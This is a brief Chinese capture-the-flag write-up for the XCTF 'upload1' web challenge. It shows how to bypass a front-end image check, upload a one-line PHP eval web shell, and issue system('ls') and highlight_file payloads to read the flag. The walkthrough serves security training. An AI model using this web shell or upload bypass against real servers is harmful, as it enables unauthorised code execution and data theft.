攻防世界-Web-upload1

0x01

查看网页源代码,猜测应该是前端验证,只能上传图片文件。前端验证就很好办,把onchange=check()删掉就好了

攻防世界-Web-upload1

0x02

准备一份一句话木马<?php eval($_POST['shell']);?>,保存为shell.php,然后上传shell.php,得到返回结果:
攻防世界-Web-upload1然后可以使用菜刀连接,由于我没有装菜刀,于是在浏览器中访问给定的位置,然后通过Hackbar提交POST数据:

  • shell=system("ls ../");这个位置是自己试出来的
    攻防世界-Web-upload1
  • shell=highlight_file("../flag.php");
    攻防世界-Web-upload1图二中已经显示了flag。